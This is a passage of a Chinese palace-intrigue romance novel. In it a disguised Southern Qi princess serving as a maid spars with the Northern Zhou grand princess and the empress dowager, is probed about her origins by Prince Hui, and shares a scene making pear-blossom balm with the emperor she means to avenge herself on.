却见安氏又哭道,“听说是昌儿昨夜在街上与人打架,正好被羽林卫撞见了,就把人带走了……殿下不是不知道昌儿那胆子,他如何敢跟人打架呀!” 大长公主依然没太听明白,又道,“打架抓人不是京兆府的事么?怎么又去刑部大牢了?” 侄女孙宜兰忙开口道,“具体如何我们也不知,昨夜跟着阿宗出去的人都没回来,武安侯府连并咱们府上一同派人找了大半夜,及至天亮,才接到刑部的消息,说是阿宗几人皆被押入了刑部大牢。” 这下终于听懂了的大长公主皱眉道,“他就没说他是 谁?” 却见孙宜兰赶紧道,“阿宗应是说了的,否则他们又如何到安家府送信的?乍一得到消息,舅父便立时去寻了刑部尚书,哪晓得对方避而不见,舅父又来寻了父亲,可即使父亲出面,他们也依然不见。而今我们只好来求婶母了,只有您能救得了阿昌了!” “求殿下救救阿昌吧。”安氏也忙道,“刑部尚书岂会不知咱们孙家是谁?此番竟是连侯爷都不见,却不知咱们是哪里得罪了他,竟连殿下您的面子也不给了!” “呵,好一个刑部尚书!” 萧应澜冷笑一下,立时吩咐侍女道,“还不快去知会驸马,叫他亲自去刑部走一趟。本宫倒要看看,那刑部尚书究竟有没有把本宫放在眼里!” ~~ 在值房里将自己足足谴责了两日之后,明熙终于出了门。 这两日间,一日三餐及汤药都有人送至她面前,无论小笼汤包,糯米丸子,又或是盐水卤鸭,桂花甜羹等,无不是她喜欢的菜式。 眼看再吃下去肚皮都要圆上一圈,这日一早,她便去了前院。 罢了,过去的事总归过去了,暂且将“二郎”放在一边,眼前还有要紧的事。 ——虽则萧元彻已排除杀害哥哥凶手的嫌疑,但如今国土还在其掌握之中,倘若他还要发兵将侄儿赶尽杀绝,她也定不能手软。 还是先去瞧瞧他这几日都在做什么的好。 时值上午,正是乾明宫最忙的时候,明熙来至殿前园中,但见大臣来来往往,正欲一边收拾花木,再悄悄听听他们说些什么,耳中忽然传来一个女人的声音—— “本宫已经等了很久了,陛下还是没空么?” 那声音明显带着不耐,明熙一听便晓得,是这北周大长公主萧应澜。 顺着瞧去,果然见那女人正在侧殿的花厅中坐着,高寿正在一旁垂首道,“请殿下见谅,这个时辰本就是陛下最忙的时候,尤其是今日,您来前,陛下连早膳都只是匆匆用过两口就叫撤了,压根都没出过御书房的门。” 见此情景,明熙甚觉稀奇,想她来这乾明宫后,每日只见大臣们来往,还是头回见大长公主来此。 ——怕不是为了那武安侯府的淫贼来的? 其实这两日她也同给她送饭的小林子打听过,得知自打那晚萧元彻发话,那安家小子就一直被关在刑部大牢,期间他爹武安侯,姑丈晋阳侯,甚至姑丈的哥哥大长公主驸马等人都想去捞人,却皆被拒之门外。 所以看看眼下,大长公主这怕不是亲自出马了? 只是一个八竿子难够着的不成器的侯府败类,竟也能叫大长公主亲自出马? 看来这武安侯府与大长公主牵连甚多不说,且绝经不起深挖。 而看此时这般情景,萧元彻怕是不想给她这个当姑母的卖面子。 她悄悄问过路的小林子,“大长公主来了很久了么?” 只见小林子点头,也悄声道,“殿下辰正就来了,已经在此等了半个时辰了。” 啧,半个时辰? 这对于心高气傲眼睛长在头顶的大长公主来说,可真是难得的好耐性了。 …… 不过左右与她无关,眼见台阶下的几棵紫薇树该浇水了,明熙便打算去拿花浇。 哪知没走几步,却听见有人叫她,“那个丫头。” 要知道,合乾明宫就只有她一个女子,这明显是在叫她。 明熙顿步看去,却见那讨厌的萧应澜不知何时从偏殿出了来,正站在台阶上居高临下的乜她。 明熙只得垂首行礼,“奴婢参见殿下。” 却见萧应澜上下将她好一番打量,带着明显的嫌弃道,“你不是在太后身边沏茶么?怎么又到这处来了?” 这个问题不必明熙回答,一旁的高寿忙解释道,“殿下有所不知,是前些日子太后娘娘将许姑娘派到乾明宫中来,专门照看陛下起居的。” “照看陛下起居?” 萧应澜冷笑一声道,“一个种花的,竟然如此有本事?正好,本宫有些渴了,你去给本宫沏杯茶来。” 明熙挑眉,叫她沏茶? 怕不是这老女人想找借口找她的茬吧。 所幸不用她说话,高寿忙又道,“敢是方才那茶不合殿下口味?小郭子,还不快去给大长公主重新沏一杯来?” 不远处的的小郭子应是,便要去重新沏茶,哪晓得那萧应澜道了句慢着,又看向明熙道,“这个丫头知道我喜欢喝什么茶,叫她去沏!” 什么? 明熙不由暗自冷笑,这老女人怕不是忘了此处是什么地方,竟也敢如此嚣张? 还叫她去沏? 她偏不去! “还请殿下见谅,奴婢在乾明宫原是做杂活的,尚未沏过茶,唯恐难叫殿下满意。”明熙垂首道。 高寿也忙道,“请殿下见谅,许姑娘来乾明宫这些日子,尚未进过茶房,也不熟悉茶房的物件,还是叫小郭子给您沏吧。” 然萧应澜仍不允,又对着明熙哼道,“一个下人,主子吩咐你活计,还有你挑三拣四的份?你当自己是主子不成?你这贱婢的出身,便是有幸入了圣人之眼,又能飞到哪儿去?还是谨记自己身份,莫要自寻死路的好!” 她兀自骂的痛快,哪晓得话音才落,却见正殿的门被打开,一身龙袍的萧元彻从里头迈了出来。 身后还跟着几个大臣,看他们身上官服的颜色,便知品级不小。 “参见陛下。” 院中众人立时跪了一地,萧元彻道了声平身,几步下了台阶,来到明熙近前,对萧应澜道,“姑母怎么生气了?” 话音才落,身后的大臣们已经纷纷跟了上来。 见此情景,萧应澜也只得先从台阶上下来,站在平地对他道,“本宫今日原是有要事求见陛下,知道陛下忙,便在这偏殿等着,本想叫这丫头给本宫倒杯茶,没想到她还给本宫摆起了谱!” “陛下说,她难道不该骂么?这样的人,如此不把本宫放在眼中,又能把陛下置于何地?” 萧应澜边说,还边瞥了跟在萧元彻身后的刑部尚书一眼,明显意有所指。 然一身傲骨的刑部尚书只是垂目站着,身子都不曾晃上一晃。 萧元彻道,“姑母要饮茶,宫中自有负责茶水的人。何苦为难他人?宫中规矩严苛,各人负责各人的差事,不得随意插手,否则一旦出了差错,又该如何追责?她也是照规矩行事,本不该被苛责。” 说着话锋一转,又道,“倒是这宫外有些门第,疏于管教家中子弟,令其市井横行,欺男霸女,不知又将我大周律法置于何地?” 这话简直不要太明显,萧应澜一顿,便要说话,哪晓得那班大臣们却先她开了口—— “上京竟有这等败类,简直辱没我大周风气。” “想我大周境内海清河晏,百姓安居,此种人一出,岂不是要带坏上京风气?” “说的是,想那南齐皇室,当初便任由贵族祸害百姓,竟丝毫不加管束,以致于自掘坟墓,受尽百姓唾骂!我等一定要警醒起来,严范此事发生!” 一旁的明熙简直要皱眉。 这老东西,说他们北周自己的事就成了,拿她南齐说什么? 不过再看那大长公主萧应澜,几欲开口插不上嘴,被这班老臣们怼的脸色越来越难看,的确叫人十分畅快。 偏在此时,又见萧元彻道,“诸位爱卿所言极是,前几日便有侯门子弟带着打手上街,借身份欺辱良民,恰好被暗访的羽林卫抓住,经查,此人竟是武安侯府三子安昌宗。此非小事,朕已命三司严查此案,若罪行确凿,必定严惩不贷,以儆效尤。” “望诸位爱卿也以此为戒,及时肃清门风,规劝子弟,勿要重蹈武安侯府覆辙。” 话音 落下,众人纷纷应是。 只有萧应澜脸色及时难看—— 还要严加惩戒? 这是要将事情闹大,拿她大长公主府开刀的意思? “陛下!” 萧应澜急忙开口,哪知又被萧元彻抬手打断—— “姑母放心,” 萧元彻道,“三司会严加审办此案,若昌宗是受冤,定会还他清白。” 话音才落,立时有大臣跟着附和,“陛下说的是,朝廷定不会平白冤枉人,还请大长公主放心。” “请大长公主放心!” “请殿下放心!” …… 那班大臣们的呼声此起彼伏,竟是噎得萧应澜一时说不出什么来。 还是萧元彻抬手,叫众人退下,院中才安静下来。 一大早进宫,等了半个多时辰,竟是这样的结果,萧应澜心间自是难平,不由对萧元彻冷笑道,“陛下登基到今日,真是愈发不一样了,叫我这个做姑母的等了这么久,一句话都不问,便要叫我打道回府。” 闻言明熙不由暗自挑眉,这老女人还真是可以,居然能如此跟已经当了皇帝的侄子说话? 不成,如此好的机会,她自是得添把柴才是! “奴婢斗胆谏言,其实殿下着实误会陛下了,自打奴婢到乾明宫来,亲眼所见陛下每日有多忙碌,常常连三餐都顾不得吃,每日更是要夜半才能入睡,陛下他绝非故意冷落殿下,还望殿下勿要生陛下的气啊!” 一片静谧中,响起明熙情真意切的声音。 萧元彻不由一愣,她……这是在替他说话? 不恨他了? 正意外间,却见高寿也跟着开口道,“许姑娘说的是,陛下每日为国为民操碎了心,时常不顾龙体,也属实是无奈,还请殿下不要误会陛下才是。” 然而萧应澜面上挂不住,立时又怒对明熙道,“你算哪根葱,本宫同陛下说话的时候,也有你插嘴的份?还不快掌嘴!” 什么?还要掌她的嘴? 明熙立时又道,“是奴婢僭越,还请不要伤了陛下与殿下姑侄之间的亲情才是啊!” 高寿也忙跟着道,“是奴才们僭越,还请大长公主息怒,勿要伤了和气才是!” 话音落下,小林子小郭子小魏子等一众小太监也都跟着附和起来,纷纷跪了满地,看起来很是吓人。 大长公主面色铁青,只指着众人道,“你,你们……” 然又实在说不出什么,只得怒哼一声道,“此处本宫是来不得了!本宫走便是!” 说着便气哼哼的拂袖而去。 哪知明熙又在身后喊道,“殿下万不要气坏了身子啊,殿下……” 直叫一旁的萧元彻不知该说什么。 ——她这哪里是在替他说话,分明是要加大他跟大长公主之间的矛盾罢了。 果然还是他想多了。 眼见明熙还在不停呼唤着萧应澜,他只能开口打断道,“罢了,走就走了,不必再说了。” 却见她终于停了口,低着头立在一旁,做出一副乖巧的模样,就如同当初在建业时捉弄过旁人一样。 萧元彻,“……今日可好些了?” 却见她又道,“多谢陛下关怀,奴婢已经好多了。” 依然乖巧的如同一只小白兔。 但他晓得她才不是小白兔,倘若此时周遭无人,只怕还是要拔剑刺他。 ~~ 出了乾明宫,大长公主萧应澜怒气冲冲的往外走,不想却与正往乾明宫去的惠王萧元任迎面遇上。 此时任谁都能看出她面上的怒气,萧元任也顿足向她问候道,“姑母这是怎么了?谁惹您生气了吗?” 萧应澜只哼了一声道,“快别这么客气,我这个大长公主,可是越来越没什么分量了。” 语罢便依然往外走了。 萧元任看了看她的背影,心思暗自流转一番,便继续往乾明宫而去。 此时,明熙正在西墙下给一株枫树修建杂枝,耳听守门的宫人侍卫们行礼,便也跟着瞧去,就见一身青色蟒袍的萧元任迈了进来。 自打上回在典膳司门外说过话,这是第二次见此人。 她便与其他宫人一道向其行礼,却见那萧元任又将脚步踱至她面前。 “上回见你还是在寿安宫,如今再见,你已经在此处了。” 萧元任笑道,“陛下真是慧眼识珠。” “殿下过奖,能为陛下效力,是奴婢之荣幸。” 明熙面上谦谨,心间暗自警惕,这人屡屡与她单独说话,怕不是有什么目的? 而紧接着,却见对方又道,“上回内府局红茶的事,本王听说是你先发现的,真是难得,没想到除过种花,你还懂茶?” “叫殿下见笑了,” 明熙道,“奴婢本不懂茶,只是在寿安宫茶房的时候,随素萍姑姑学了些沏茶,辨茶的方法罢了,上回那些茶的事,并非奴婢一人的功劳。” 不错,身为一个花农的女儿,本不会接触到那等昂贵的红茶,故而她只能如此回答,叫对方抓不到疑点。 却见萧元任又将她夸了几句,“果真聪慧的人在哪里都能出彩,对了,本王记得你父母是花农,不知他们在何处种花?近来太府寺打算进一些兰花与茶花,看你如此会养花,想来他们也必定也是高手,家中有不少兰花茶花吧?” 呵,这是要打听她家中情况? 明熙又道,“王爷有所不知,家父年轻时曾在南诏谋生,替大户人家养护兰花茶花,后乞骸回乡时曾带回几盆在家中养护,奴婢才因此学了些养兰花茶花的学问,然有一年家中发涝灾,花儿全被冲毁,无一幸免,爹娘只能重寻高地种花,且种的也都是牡丹,芍药一类大周常见的花卉了。” “原来如此。” 却见那萧元任顿了顿,又要再问她什么。 高寿却从正殿里出来,来到近前与他道,“请惠王殿下见驾。” 萧元任只能停住交谈,往御书房去了。 明熙望着其背影,不由暗自皱眉。 ——这人几次三番,似乎是在向她试探什么…… 看来,得想办法联络一下宫外的凌雪才是。 稍稍思忖一番,她去了高寿面前。 “高公公,这阵子无事,不知可否允小的去趟典膳司?前几日我瞧着后头梨花开的好,便存了些试着做梨花香膏,只是需要用些猪油,不知可否去御膳房拿些?” 高寿立时笑道,“姑娘放心去便是,到了那儿您只要报乾明宫,他们不会不给的。” 明熙应好,便立时出了乾明宫,往典膳司而去。 时辰尚早,御膳房尚未忙起来,她很快便找到了凌霜,借了取猪油之名与其来到无人处说话—— “姑娘可是有什么事?”凌霜问道。 明熙将长话短说,“前几日在宫外见到了凌雪,她说咱们的人每隔两日会来宫中送菜,你想法留意一下。” 没想到凌霜立时道,“姑娘放心,前日我们便联络上了。” 如此便更好了。 明熙忙又道,“惠王可能在怀疑我的身世,叫外头的人早做准备。” 可别等着大仇还没报,先把自己泄露了。 凌霜连忙应是,又与她简单说了几句,便各自作别。 而此时的乾明宫中,萧元任才刚刚离开。 眼见殿中清净下来,萧元彻问高寿道,“方才惠王进来之前,是不是在同念贞说话?” 高寿忙道,“陛下说得是,方才惠王殿下进来之前的确是与许姑娘说话。” “他们说得什么,可听见了?” 高寿顿了顿,“且容奴才去问问小顺子,方才他离得二位不远。” 萧元彻颔首,便见高寿出去了,没过多会又回来与他道,“启禀陛下,奴才问清楚了,方才惠王殿下对许姑娘说陛下慧眼识珠,把姑娘调到这里来种花,还夸姑娘聪慧,又提起了先前内府局那批茶叶的事,问许姑娘是如何看出茶叶不对的。” “许姑娘只说是素萍姑姑教的,接着惠王殿下还问了许姑娘洛州家中都养了些什么花,似乎打算跟许姑娘的爹娘采买兰花。” 话音落下,萧元彻已然凝起眉来,立时 道,“传卫谨来。” 高寿一愣,只好应是出去传人,心间还在纳闷,这正说得好好地,怎么又去传卫大人了呢? 没费多少功夫,卫谨便到了御驾前。 只听萧元彻道,“洛州那边可都安排好了?” 卫谨忙应是,“陛下放心,从上到下都已经安排妥当。” ——虽然并不明白陛下因何要帮那位假冒身份的“许姑娘”遮掩,但身为君王心腹,只管执行便好。 却见上座的君王颔了颔首,又道,“盯着惠王,若其有异常举动,立时来报。” 卫谨忙应是。 ~~ 从御膳房回来后暂无他事,左右猪油已经拿到了,明熙便开始做起了梨花香膏。 她已经提前摘好了梨花洗净晾干,并与其他几味香料一并泡在了米酒中,此时找一只干净的小锅,将米酒与从凌霜那里拿来的猪油一并倒入,小心熬制便是。 此活不能急,除过要用小火,还要不停搅动,要持续一个时辰才成。 眼看时间一点点过去,锅中各样材料充分融合,院中渐渐弥漫起一股清新的甜香味。 “何物这样香?” 月亮门外忽然传来一个声音,明熙忙看去,却见本应在正殿里忙碌的萧元彻竟出现在了她面前。 她只要要停手行礼,哪晓得那人抬手止住,又几步到了她面前,瞧了瞧锅中后道,“在做梨花膏?” 这叫明熙意外起来,这人竟然知道她在做梨花香膏? 她应了声是,“陛下怎么知道这是梨花香膏?” 却见他道,“以前看人做过,记着了。” 说着瞅了瞅她四周,竟又问道,“朕记得,此物还要用珍珠粉来着?” 明熙愈发新奇起来,他竟然还知道要用珍珠粉? 但如今以她的身份,珍珠粉又岂是那么容易就能得到的? 她只能道,“其实没有珍珠粉都是可以的,只是加了珍珠粉的话,会令香膏更加白皙滋养而已。” 却见萧元彻又道,“做一次这样麻烦,当然要做最好的。” 说着便向月亮门外唤了声,“来人。” 就见高寿立时出现,“奴才在。” 只听萧元彻道,“叫人去趟御药房,拿些珍珠粉来。” 高寿应是,忙去差遣,没费多少功夫,上好的珍珠粉已经取了来。 恰巧明熙也已经将其余材料熬煮完毕,此时将残渣滤好,再将珍珠粉倒入其中耐心搅拌便是。 只是没等她动手,却见萧元彻又道,“这怕是个力气活,还是朕来吧。” 语罢便径直拿起了搅棒。 明熙,“???” 今日这北周是没什么大事么?怎么由得这人如此闲? 当然,搅拌也的确是个力气活,既有代劳的,她又何乐不为? 她便应了声是,开始往锅中撒珍珠粉。 此处需两人配合的极好,搅的人要眼疾手快,撒的人则要耐心细致,一旦倒多了粉又没有及时搅开,珍珠粉便会团成一颗颗的小疙瘩,十分麻烦。 明熙没想到的是,萧元彻与她配合的竟然十分好,看他搅拌得十分娴熟,就像是从前亲手做过一样。 她心生好奇,不由又问道,“陛下莫非以前做过这活计?” 却见那人又嗯了一声,“几年前的事了,还好没有生疏。” 还真做过? 明熙不由愈发好奇起来,他是帮谁做过? 太后? 不太可能,这可都是小女儿家的爱好,据她前阵子在寿安宫的观察,太后可不像是爱动手的人。 莫非是他的姐妹? 也不太可能。 要知道他只有一个妹妹,即箫玉容,今年才十三,几年前就更小了,应该还不会做这香膏。 莫非……他曾有青梅竹马的姑娘? 是帮人家做的? 可他前几日又提到曾在建业也有相好…… 呸!真是个浪荡薄幸男! 大抵心间有气,明熙一时忘了控制手上,将珍珠粉一下倒多了些,多出的粉落在锅中又弹起,随着萧元彻搅动时带起的风,一下全扑在了他的脸上。 “……” 明熙忙瞧去,却见那张俊脸上变成白茫茫一片,连眼睫也根根染白,属实有些……好笑。 嘴上还需跟他道歉道,“奴婢失手,请陛下恕罪。” 啧,这人不会生气吧…… 却见萧元彻眨了眨眼,看向她道,“朕这样子是不是很好笑?” 明熙努力摇头说违心话,“没有没有,陛下依然玉树临风。” 他却先笑起来道,“不用骗朕,朕已经从你眼中看见自己的影子了。” 说着又道,“给朕擦擦吧。” 倒还是个好脾气的。 明熙便应是,拿出帕子给他擦了起来。 丝帕柔软,握在她的手间,触到他的脸上,渐渐描摹着他的五官。 明熙初时还在努力憋笑,渐渐地却不由愣住。 这双眉眼,这高挺的鼻梁,还有这薄唇…… 怎么仿佛在她从前的生活出现过? 恍惚之中,她也曾如此用指尖细细抚摸过这张脸上的每一寸,而后……还吻了上去。 不,不可能。 她从前不是只对二郎……过,萧元彻可是敌国质子,怎么会与她有瓜葛? ……可莫名就觉得这副五官十分熟悉,尤其这两片薄唇……她仿佛还记得尝起来是什么滋味…… 明熙呆呆望着那张脸,一时愣在了那里。 而恰在此时,面前的人也睁开了双眸,静静望着她。 四目相对,一时无话,只有从流苏树上吹来的阵阵花香。 直到月亮门处传来一声,“念贞姑娘,药来了……” 明熙一顿,忙从讶异中回了神,向外看去,却见小林子端着一碗汤药并几块蜂糖正迈进院中。 然瞧见二人的情景后却又一愣,而后脩的一下,将身影闪了回去。 明熙,“……” 神思彻底回归,她赶忙收回手,对那人道,“陛下,擦干净了。” 语罢又忍不住悄悄看去,却见那人原本幽深的双眸中,有什么东西暗了下去,只嗯了一声后,又看向院门外,道,“把药端进来吧。” 便听门外应了声是,一脸惴惴不安的小林子端着药重又出现在了二人面前,小心与他道,“启禀陛下,奴才给许姑娘送药来了。” ——呜呜呜他真的不是故意打扰陛下与许姑娘的,求求陛下千万不要砍他的脑袋啊啊啊…… 所幸君王没说什么,而明熙则直接从他托盘上端起了汤药一饮而尽,竟是没吃半块蜂糖。 啧…… 那刺骨的苦意瞬间从喉间蔓延至四肢百骸,连每一处毛孔都被苦得忍不住打起了哆嗦。 但,她要的正是这苦意! 以来提醒她,面前的这人可是与她有国仇的! 岂能如方才那般,竟被其美色所迷惑?! 竟然还想……尝一尝他嘴唇的味道?!! 既已有“二郎”的事情在前,她如今竟然又对这个男人产生想法,如此下去,她与那些薄幸浪荡男又有什么区别?! 魏明熙,你可醒过来吧!!! …… 而眼见这般情景,萧元彻的眸中却是又暗了一重。 ——方才她看他的眼神,就仿佛回到了从前一般。那一瞬间,他只当她想起来了…… 罢了,慢慢来,先叫她把身体养好再说。 不过话说回来…… 方才院中只有他与她,距离那般近的情境下,她都没有拔出剑来刺他? 已经算很好了,不是么? 第26章 近在耳畔 君王亲自督办,并由三司会审,不出几日,那武安侯府的案子便传遍了上京。 消息一出,百姓们无不拍手称快,然深宫之中,却是另一番景象。 时值上午,散了朝会的惠王萧元任照例来到母亲淑太妃的宫中请安。 淑太妃早憋了一肚子的话,此时忙将闲杂人等遣开,与他道,“武安侯府的事可是有什么内情?好端端的,陛下怎么查起他们来了?” 毕竟这京中高门,真要论起清白,只怕能胜出者可不多,尤其谁不知那武安侯府是大长公主一派的,彼此之间还有姻亲,可谓靠山强大,这好好的天子竟对他们动起了手,还动得这样狠,莫不是还有什么深意? 却见萧元任道,“ 儿臣悄悄叫人查过,安昌宗被抓之前,曾在上京与一对男女起了冲突,那对男女约莫二十来岁,且气质皆不凡。” “一对男女?” 淑太妃尚有些未听明白,道,“那安昌宗不是干惯了欺男霸女的事么?怎么偏偏那次就被抓住了?” 萧元任笑了笑道,“母妃说得是,那安昌宗一向如此,偏偏那夜惹上那对男女后便出了事。能动用羽林卫抓人,且当夜就将其投了刑部大牢,连京兆府都没过,母妃以为,这天底下还有谁有这等本事?” 这话一出,淑太妃终于回过味来,立时压低声道,“你是说,那安昌宗是直接惹上了乾明宫那位……那,那女子又是谁?” 萧元任又道,“母妃说,乾明宫还有别的女子吗?” “是那个叫许念贞的?” 淑太妃又皱眉道,“难道那夜,是陛下带着她出宫去了?” 萧元任又是一笑,道,“如安昌宗那等浪荡子弟,自十三四就开始养妾室,寻常女子,他能入得了眼?” 的确,那姓许的丫头的确有些姿色,叫人见过一面便很难忘记。 淑太妃终于彻底省了过来,不由叹道,“怪道一件寻常得不能再寻常的案子,要动用三司去审,听说萧应澜亲自去御前求情都无济于事……原来这是惹到天子头上了!” 说着又哼笑道,“她萧应澜也有今天!想当初那般不可一世!如今终于也有她办不了的事了!如今好好一个武安侯府没了,那武安侯府还跟晋阳侯府是姻亲,今后那晋阳侯府的丫头也别想入后宫了!” “母妃不觉得,这是个好机会吗?” 萧元任咳了一声道,“萧应澜自是活该,可经此一事,也与乾明宫结下了仇。况且,太后不是一向不喜出身低的女子。如今宫中风平浪静,想来,太后应是还不知皇兄带那女子出去的事吧?” 这叫淑太妃一顿,而后,又一脸欣慰的点起了头。 “我儿终于长大了!” 说的也是。 依照本朝律法,自先帝驾崩,萧元彻登基之后,她这个太妃本可出宫与儿子团聚,然那李氏却为了要挟他们母子,硬是将她留在了宫中。 眼下他们母子尚不能出宫团聚,那娘俩又凭什么母慈子孝? ………… 明熙是在午饭前收到太后的召唤的。 起初并不知是何事,待她来到寿安宫,才进大门,却见青黛跑到跟前小声与她道,“素萍姑姑叫我告诉姐姐一声,方才淑太妃才走,太后便派人去传你,看脸色似是藏着火气,姐姐可当心些。” 这叫明熙一愣,立时暗自思忖起来—— 那乾明宫是太后叫她去的,去了后她也并未有什么过错,太后此时忽然生着气传她,又是为了什么? 难道……是为了那夜出宫的事? 可那这又跟淑太妃有什么关系…… 暂且没时间去分析,最紧要的是,眼下她已经到了此处。明熙在脑中快速思索一番,忙找了个洒扫的小宫女道,“方才出来的匆忙,未来得及告知高公公要及时提醒陛下的午膳,眼看这也快到晌午了,烦请你替我去乾明宫报个信可好?” 小宫女应是,立时跑去了乾明宫,明熙则向青黛道了声谢,迈进了殿中。 “奴婢参见太后娘娘。” 进门照旧先行礼,却见太后不露喜怒的将跪在地上的她打量一眼,道,“有几日没叫你过来了,今日是想问问你,陛下近来可好?” 明熙忙道,“启禀太后,陛下近来三餐皆很规律,只是仍旧十分忙碌,每每要到亥正方能就寝,其余一切都好。” 然太后听完,却忽然变了脸道,“你可还记得是谁将你派到陛下身边的?如今竟也会瞒着哀家了。从前哀家以为你老实,没想到也是爱耍心机的。” 明熙一顿,立时俯首道,“奴婢从未敢隐瞒太后,还请太后明鉴。” 只听太后哼了一声,“还说不敢隐瞒?哀家问你,前几日陛下可是出过什么事?” 前几日,出了什么事? 这般情景,明熙还有什么不明白的?这必定是在问那夜萧元彻带她出宫的事。 呵,瞧这架势,就仿佛她把那狗皇帝拐跑了一般,左右是那狗皇帝拉她去的,她说就说。 明熙便要张口,哪知就在此时,却听门外响起一声,“陛下驾到……” 这令殿中众人一愣,紧接着,便见萧元彻迈了进来。 殿中立时跪成一片,萧元彻在一众身影中找到了明熙,但见她还好好的,暂且暗自松了口气,又对太后道,“谁惹母后生这么大的气?朕在门外都听见了。” 太后却哼了一声,“陛下来得倒及时。可是来救她的?” 萧元彻笑道,“这是哪里的话?母后一向仁慈,念贞又没做什么错事,何谈救不救的? 不过是前阵子忙,今日正好有空,要来与母后禀报几件事罢了。” 却见太后道,“不知陛下要与哀家禀报何事?” 萧元彻道,“一件是这阵子那武安侯府的事。武安侯纵容其子作恶多年。京中竟无人禀报,若非朕那夜在城中微服遇上,那安昌宗不知还要祸害京城多久?如此下去,朝廷的名声都要被其败坏干净。” 却见太后一顿,立时问道,“那安昌宗竟陛下亲自外出碰上的?” “不错,” 萧元彻道,“听闻上京近来涌入不少南国百姓谋生,朕便决定出去看看他们过得如何。原本带了高寿与念贞一起同行,没想到那安昌宗竟要对朕大打出手。” 太后立时紧张道,“那陛下可有受伤?” “朕自是没有,” 萧元彻看了看仍跪在地上的明熙道,“但念贞因为护着朕却受了伤,在值房里养了几日。朕本不欲隐瞒母后,又怕母后担心,故而现在才来禀报与您。” 明熙,“……” 这个借口虽然是编的,但她晕倒也到底与他有关,所以这个说法也不为过。 看太后还怎么怪她。 却见太后一脸意外道,“念贞因为护陛下受了伤?她如此柔弱,怎么护着陛下的? 暗卫们又在干什么?” 萧元彻面不改色道,“那安昌宗带了好几个打手,暗卫们与其周旋之际,念贞护着朕赶紧离开,中途却不小心摔倒,甚至一度昏迷,回来后,朕便为她宣了御医。” 这倒与太后查的对上了。 不错,方才确实查到那夜乾明宫传了御医,开的也是化瘀的药。 “原来如此。” 太后面色终于和缓起来,与明熙道,“真是难为你如此柔弱还一心护主,起来吧。” 明熙应是起身,也厚着脸皮向太后道,“此本就是奴婢职责所在,只是没有及时禀报太后,还请太后恕罪。” “是朕不叫他们禀报的,” 萧元彻又开口道,“朕想着待事情解决后再来亲自与母后说清,如此,母后就不用担心了,现在看来,莫非是谁多嘴,提前将此事告知了您?” 却见太后目光躲闪了一下,道,“倒也没有谁与哀家禀报,只是想来问问陛下近况罢了。” 说着又问道,“除过这桩,陛下还有别的事要对哀家说?” 萧元彻应是,又道,“朕先前得了一块品相极佳的天山白玉,已经叫人做成了佛像,眼下浴佛节将至,朕打算将此佛像敬献佛前,供群臣及百姓瞻仰。” 就见太后眼睛一亮道,“哀家这两日正在琢磨今年准备什么样的佛像,陛下真乃及时雨,就这么定了。” 萧元彻嗯了一声,“待到浴佛那日,朕便亲自将佛像请至佛光殿。” 太后颔了颔首,却又道,“哀家也正有一事要与陛下商量。佛诞日,文武百官及命妇们齐聚佛光殿,这宫中必定还要装点。想来念贞在乾明宫也没什么事,不妨先回来给哀家种些花草,到时也好叫宾客们开眼。” 什么?叫她回来种花? 明熙立时要皱眉。 她可不能回来,想她在乾明宫多自在,单独一间值房,软剑随时可佩戴不说,还能偷听些北周前朝的政事。 最要紧的是,萧元彻就在近前,她随时可以出手,但若回来了,这些好机会可就都没了! 然而此时作为一个宫女,她根本没权利决定自己的去留,只能用满是无辜的眼神看了眼萧元彻。 来啊,不是很在意她么,赶紧拒绝太后啊! 好在萧元彻没叫她失望,立时对太后道,“她在乾明宫也可以种花,待种好给您送过来也是一样的,御前女官是重要的职位,母后也不是不知,外头有多少双眼睛正看着宫中,频繁调动人手,不知要引起他们怎么猜测。” 很好。 明熙心间一定,又见太后看向她道,“你怎么想?” 她忙乖巧垂头,“奴婢听凭贵人们调遣。” 这个回答还算叫太后满意,顿了顿后终于又道,“陛下说得有理,就如此吧,你每日多奔波些,务必要备好敬献佛前的花。” “对了,司苑局有几盆从天竺来的红莲,你去看看养得如何了,最好能叫它们在浴佛节时开花,讨个好意头。” 明熙应是,便向太后告退,跟着萧元彻一起出了寿安宫。 身后,待殿中清净下来,太后叹了口气。 王嬷嬷忙在旁安慰,“事情已经弄清楚了,陛下那夜乃是微服体察民情,也并未受伤,娘娘还担心什么?” 却见太后道,“你方才可瞧见了他有多在意那丫头,却又迟迟未叫那丫头侍寝……” 王嬷嬷忙又道,“陛下从小到大一向自重,自与那些凡夫俗子不同。” “你怕是不懂。” 太后却叹了口气,“他越是这般,便越代表那丫头在他心里重要。” …… 难不成有朝一日,他要真封那丫头为皇后? …… ~~ 出了寿安宫,明熙随萧元彻走了一阵,眼见周遭清净下来,便开口道,“请恕奴婢斗胆,陛下不觉得今日这事有些奇怪吗?那夜您是微服出宫,身边跟的除过暗卫,便只有奴婢与高公公而已,且事情已经过去多日,好端端的,太后怎么会忽然知道了此事?” 却见萧元彻道,“因为有人悄悄去查过,猜出了朕的身份。” 什么? 竟是有人去查过? 明熙不由问道,“不知是何人如此胆大?” 萧元彻竟也没瞒她,只道,“惠王。” 原来是他。 明熙终于明白了过来,怪道方才素萍说淑太妃走后,太后便立时传了她。 必定是萧元任那狗贼猜出实情后告知了其母淑太妃,淑太妃又说给了太后听…… 呵,好个萧元任,外表如若谦谦君子一般,实际却如此阴险! 不过话说回来,身边这人既然已经知道那萧元任去查,怎么不提前做预防?今日还叫太后叫了她去? “此也是朕方才得知,没想到太后便将你传了去。” 就仿佛猜到她在想什么一样,萧元彻立时又道,“朕方才可去晚了?太后有没有为难你?” 呵,还有没有为难? 倘若他晚去一会儿,她只怕要被太后送到内廷司受刑去了。 然脸上却只能微笑道,“陛下多虑了,太后只是找奴婢问话,哪里会为难?” 却不知是不是笑得太过僵硬,萧元彻觑了觑她后,又轻咳一声道,“今次的事皆怪朕,朕该向你赔罪才是。” “且随朕来。” 说着便拉起她得衣袖要往一个方向走。 明熙吓了一跳,忙要挣脱,“陛下这是要去哪儿?才刚出了事,奴婢可不想再出宫了。” 那人却连头的没回,只径直带着她向前道,“方才路过太液池,瞧见里面有许多肥鱼,朕带你去钓。” 什么,他要带她钓鱼? 明熙以为自己听错了,哪晓得萧元彻竟果真将她一路拉去了太液池边。 善解人意的高寿也及时送来了鱼竿,但明熙环顾太液池广阔的湖面,仍很是不相信道,“这茫茫一片,陛下要去哪里钓肥鱼?” 哪知语罢低头去瞧,却见萧元彻已经从湖边的泥地里挖了几条蚯蚓,将一条挂在鱼钩上,又抛进了水中。 不过一盏茶的功夫,竟然真的有鱼上钩了。 